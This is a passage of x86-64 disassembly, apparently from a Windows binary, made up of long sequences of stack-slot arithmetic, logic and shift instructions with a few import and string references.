movzx eax, byte [rax]
mov byte [rsp + 0x1cb], al
movzx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0x6ed0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5e50]
mov byte [rcx], al
lea rax, [rsp + 0xce0]
mov qword [rsp + 0x7e00], rax
mov rax, qword [rsp + 0x5cd0]
mov ecx, dword [rsp + 0x2e6c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d5c], eax
mov rax, qword [rsp + 0x7178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d20]
shr eax, cl
mov dword [rsp + 0x2bdc], eax
mov rax, qword [rsp + 0x6630]
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x76c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ac0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6fa8], rax
mov rax, qword [rsp + 0x6290]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x948]
sub eax, ecx
mov word [0x140178f20], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x7e10], rax
movzx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x6938]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x62e8]
mov word [rcx], ax
lea rax, [rsp + 0x14d]
mov qword [rsp + 0x7e18], rax
movsx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x6ba0]
mov rcx, qword [rsp + 0x5ec8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7680]
mov eax, dword [rax]
mov dword [rsp + 0x2fa8], eax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6750]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f30]
mov eax, dword [rax]
mov dword [rsp + 0x2fac], eax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
add eax, ecx
mov rcx, qword [rsp + 0x6398]
mov byte [rcx], al
lea rax, [rsp + 0x102]
mov qword [0x14017a6c0], rax
mov rax, qword [rsp + 0x5d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa0c]
and eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x4e08]
movzx eax, word [rax]
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x6ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x65d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x5978]
mov rax, qword [rax]
mov qword [rsp + 0x7e20], rax
mov eax, dword [rsp + 0x2d4c]
movzx ecx, al
mov eax, dword [rsp + 0x2d10]
sar eax, cl
mov rcx, qword [rsp + 0x5470]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f20]
movzx ecx, al
mov eax, dword [0x14017a064]
shl eax, cl
mov rcx, qword [rsp + 0x6f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b80]
mov rax, qword [rax]
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x7460]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
or eax, ecx
mov word [rsp + 0xd44], ax
mov rax, qword [0x14017a490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
xor eax, ecx
mov byte [0x140178f03], al
mov rax, qword [rsp + 0x6668]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc], al
movzx eax, word [rsp + 0x8c4]
mov rcx, qword [0x14017a580]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbc0], ax
movsx eax, word [rsp + 0xad0]
movsx ecx, word [rsp + 0xc94]
and eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0x5e58]
mov qword [rsp + 0x7e30], rax
mov rax, qword [rsp + 0x6348]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d94], eax
mov eax, dword [rsp + 0x2f84]
mov dword [rsp + 0x2fb0], eax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6780]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6978]
mov qword [rcx], rax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x7e38], rax
movsx eax, word [rsp + 0xae8]
movsx ecx, word [rsp + 0xd10]
add eax, ecx
mov word [0x140178eb4], ax
movzx eax, word [rsp + 0x8e0]
movzx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [0x14017a195]
add eax, ecx
mov rcx, qword [rsp + 0x5108]
mov byte [rcx], al
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x7e40], rax
mov rax, qword [rsp + 0x7628]
mov rcx, qword [rsp + 0x6de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x73b8]
mov rax, qword [rax]
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x52c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74d0]
mov rcx, qword [rsp + 0x7598]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cac], eax
movzx eax, byte [rsp + 0xa7]
mov byte [rsp + 0x1cd], al
lea rax, [rsp + 0xbb4]
mov qword [0x14017a6c8], rax
movsx eax, byte [rsp + 0xdf]
movsx ecx, byte [rsp + 0xbf]
or eax, ecx
mov byte [rsp + 0x173], al
movzx eax, word [rsp + 0x90c]
mov word [rsp + 0xdf8], ax
movsx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x6898]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6be8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7340]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbd4]
xor eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6750]
mov qword [rsp + 0x7e50], rax
mov rax, qword [rsp + 0x7cb8]
movzx ecx, al
mov rax, qword [rsp + 0x6f70]
shl rax, cl
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bd4]
mov dword [rsp + 0x2fb4], eax
mov rax, qword [rsp + 0x5220]
mov ecx, dword [rsp + 0x2b50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f64], eax
movzx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x64b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a0d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf7]
mov byte [rsp + 0x1ce], al
movzx eax, byte [rsp + 0x163]
movzx ecx, byte [0x14017a0cd]
and eax, ecx
mov rcx, qword [rsp + 0x5ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e08]
movzx eax, word [rax]
mov word [rsp + 0xdfc], ax
mov rax, qword [rsp + 0x6b98]
mov ecx, dword [0x140178e6c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov dword [rcx], eax
lea rax, [rsp + 0x2eb0]
mov qword [rsp + 0x7e58], rax
mov rax, qword [rsp + 0x6448]
mov rcx, qword [rsp + 0x6dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c20], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x6cf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7100], rax
movsx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0x62a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [str.KP2_v], al
movzx eax, byte [rsp + 0x1c0]
mov byte [rsp + 0x1cf], al
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd8c], ax
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0x7e60], rax
movzx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x7b90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x55b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
lea rax, [rsp + 0x54a0]
mov qword [rsp + 0x7e68], rax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6240]
mov qword [rsp + 0x7e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e70]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7190]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6300]
mov eax, dword [rax]
mov dword [rsp + 0x2fb8], eax
mov rax, qword [rsp + 0x5030]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6af0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017a0fa], al
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0xa68]
shl eax, cl
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
mov rax, qword [0x14017a588]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x7e78], rax
movsx eax, word [rsp + 0xd04]
movsx ecx, word [rsp + 0xb00]
and eax, ecx
mov rcx, qword [rsp + 0x7878]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f0]
mov eax, dword [rax]
mov dword [rsp + 0x2fbc], eax
mov rax, qword [rsp + 0x5aa0]
mov rcx, qword [rsp + 0x7028]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78f8], rax
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov qword [rsp + 0x7e80], rax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x2f64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ab4], eax
lea rax, [rsp + 0x114]
mov qword [0x14017a6d0], rax
mov rax, qword [rsp + 0x64b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov word [rsp + 0xc58], ax
lea rax, [0x140178e9e]
mov qword [rsp + 0x7e88], rax
mov rax, qword [rsp + 0x6220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12d]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x7720]
mov rcx, qword [rsp + 0x51d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x5f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ad0]
mov dword [rsp + 0x2fc0], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x7808]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7088]
mov qword [rcx], rax
mov rax, qword [rsp + 0x77d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov word [0x140178f38], ax
movzx eax, word [rsp + 0x940]
mov word [rsp + 0xe00], ax
mov rax, qword [rsp + 0x79c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x72b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5108]
mov byte [rcx], al
mov rax, qword [rsp + 0x6528]
movzx eax, word [rax]
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x58f8]
mov rcx, qword [rsp + 0x71d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b48]
mov dword [rsp + 0x2fc4], eax
mov rax, qword [rsp + 0x66d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a8]
mov qword [rsp + 0x7e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5140], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x7e98], rax
lea rax, [rsp + 0xd9]
mov qword [0x14017a6d8], rax
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x76b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x51b8]
movzx eax, word [rax]
mov word [rsp + 0xe08], ax
mov rax, qword [rsp + 0x62b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x163]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
lea rax, [rsp + 0x5fe8]
mov qword [rsp + 0x7ea0], rax
mov rax, qword [rsp + 0x6ce0]
mov rcx, qword [rsp + 0x5588]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
mov eax, dword [0x14017a060]
mov dword [rsp + 0x2fc8], eax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178ef6], al
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0x7ea8], rax
movzx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7530]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7cd8]
mov byte [rcx], al
lea rax, [rsp + 0x7e80]
mov qword [rsp + 0x7eb0], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58e8], rax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x7eb8], rax
mov eax, dword [rsp + 0x2dc8]
mov ecx, dword [rsp + 0x2e10]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd8]
shl eax, cl
mov byte [rsp + 0x90], al
movsx eax, byte [rsp + 0x137]
mov rcx, qword [0x14017a220]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178e6a], al
lea rax, [rsp + 0x970]
mov qword [rsp + 0x7ec0], rax
mov rax, qword [rsp + 0x7470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x7ec8], rax
mov rax, qword [rsp + 0x64f0]
mov ecx, dword [rsp + 0x2e78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x6ea8]
mov rax, qword [rax]
mov qword [rsp + 0x7ed0], rax
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5450]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x78a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a40]
mov ecx, dword [rsp + 0x2d0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e10], eax
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0x160]
mov qword [0x14017a6e0], rax
mov rax, qword [rsp + 0x7db0]
movzx eax, word [rax]
movzx ecx, word [0x140178f00]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cc8]
movzx eax, word [rax]
mov word [rsp + 0xe0c], ax
movsx eax, word [rsp + 0x8dc]
movsx ecx, word [rsp + 0xafc]
add eax, ecx
mov rcx, qword [rsp + 0x7ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
mov ecx, dword [rsp + 0x2eb0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e30]
mov rax, qword [rax]
mov qword [rsp + 0x7ed8], rax
mov rax, qword [rsp + 0x6790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aa4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79f8]
mov dword [rcx], eax
lea rax, [rsp + 0x58d8]
mov qword [rsp + 0x7ee0], rax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [0x140178ef2], al
mov rax, qword [0x14017a160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x187]
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0x77f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
shl eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x6d70]
mov qword [rsp + 0x7ee8], rax
mov rax, qword [rsp + 0x5758]
mov ecx, dword [rsp + 0x2e3c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e80]
sar rax, cl
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a78]
mov dword [rsp + 0x2fcc], eax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x5248]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x89]
movsx ecx, byte [rsp + 0x12b]
and eax, ecx
mov byte [0x140178f07], al
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x7ef0], rax
movzx eax, word [rsp + 0xdcc]
movzx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov word [rsp + 0x994], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xadc]
sub eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6da8]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b50], eax
lea rax, [rsp + 0x2d58]
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x7540]
mov rcx, qword [rsp + 0x7e80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
lea rax, [rsp + 0x7b88]
mov qword [rsp + 0x7f00], rax
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [0x14017a2b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f68], ax
mov rax, qword [rsp + 0x5ff0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
mov rax, qword [rsp + 0x66f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x14017a5b8]
movzx eax, word [rax]
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c80]
mov byte [rcx], al
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0x2fd0], eax
mov rax, qword [rsp + 0x6238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x6a98]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6bc0]
mov rax, qword [rax]
mov qword [rsp + 0x7f08], rax
movzx eax, byte [rsp + 0x192]
mov byte [0x14017a1a3], al
movsx eax, word [rsp + 0xa18]
movsx ecx, word [rsp + 0xa1c]
shl eax, cl
mov word [rsp + 0xabc], ax
movzx eax, word [rsp + 0xb90]
mov word [rsp + 0xe14], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6c], al
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0x7010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5dc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0x6368]
mov eax, dword [rax]
mov dword [rsp + 0x2fd4], eax
mov eax, dword [rsp + 0x2ccc]
mov ecx, dword [rsp + 0x2d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xa3c]
sub eax, ecx
mov rcx, qword [0x14017a1f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x1d4], al
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x5fd8]
movsx eax, word [rax]
mov rcx, qword [0x14017a3f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov word [rcx], ax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x7f18], rax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x71d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59b8]
mov qword [rsp + 0x7f20], rax
mov rax, qword [rsp + 0x74b0]
mov ecx, dword [rsp + 0x2b30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f80], eax
mov rax, qword [rsp + 0x6b98]
mov ecx, dword [rsp + 0x2cd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x58c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1a6]
mov rcx, qword [rsp + 0x6ed0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178f0a], al
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x5f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0c]
or eax, ecx
mov word [rsp + 0xaf8], ax
lea rax, [rsp + 0x19a]
mov qword [rsp + 0x7f28], rax
mov rax, qword [rsp + 0x5bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5750]
shr rax, cl
mov qword [rsp + 0x6770], rax
lea rax, [rsp + 0x5bf8]
mov qword [rsp + 0x7f30], rax
mov eax, dword [rsp + 0x2dbc]
mov ecx, dword [rsp + 0x2e3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov dword [rsp + 0x2fd8], eax
lea rax, [rsp + 0x17e]
mov qword [0x14017a6e8], rax
movzx eax, word [0x140178f90]
mov rcx, qword [rsp + 0x54c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x95c], ax
movzx eax, byte [rsp + 0xea]
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9dc]
add eax, ecx
mov rcx, qword [rsp + 0x5f30]
mov word [rcx], ax
movzx eax, word [rsp + 0x8d8]
movzx ecx, word [rsp + 0xa04]
and eax, ecx
mov word [rsp + 0xa2c], ax
lea rax, [rsp + 0x5bd0]
mov qword [rsp + 0x7f38], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x6bb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56e8], rax
lea rax, [rsp + 0x2fc8]
mov qword [rsp + 0x7f40], rax
mov rax, qword [rsp + 0x7408]
mov ecx, dword [rsp + 0x2b74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f20], eax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [0x14017a1d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f30], ax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7dc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13e], al
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x7f48], rax
movsx eax, byte [rsp + 0x1a7]
movsx ecx, byte [0x14017a192]
add eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x1d6], al
mov rax, qword [rsp + 0x5be8]
mov ecx, dword [rsp + 0x2c30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2da0], eax
mov rax, qword [rsp + 0x74e8]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f20], eax
lea rax, [rsp + 0x56b0]
mov qword [rsp + 0x7f50], rax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x6370]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7d78]
mov qword [rcx], rax
movsx eax, word [0x140178efc]
mov rcx, qword [rsp + 0x6778]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178fa0], ax
lea rax, [rsp + 0x159]
mov qword [rsp + 0x7f58], rax
mov rax, qword [rsp + 0x69d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xddc], ax
lea rax, [0x140178f48]
mov qword [rsp + 0x7f60], rax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67b0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x5228]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6fe0], rax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x2fdc], eax
mov eax, dword [rsp + 0x2e4c]
mov ecx, dword [rsp + 0x2ee8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d60], eax
lea rax, [rsp + 0x54a0]
mov qword [rsp + 0x7f68], rax
mov rax, qword [rsp + 0x70f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
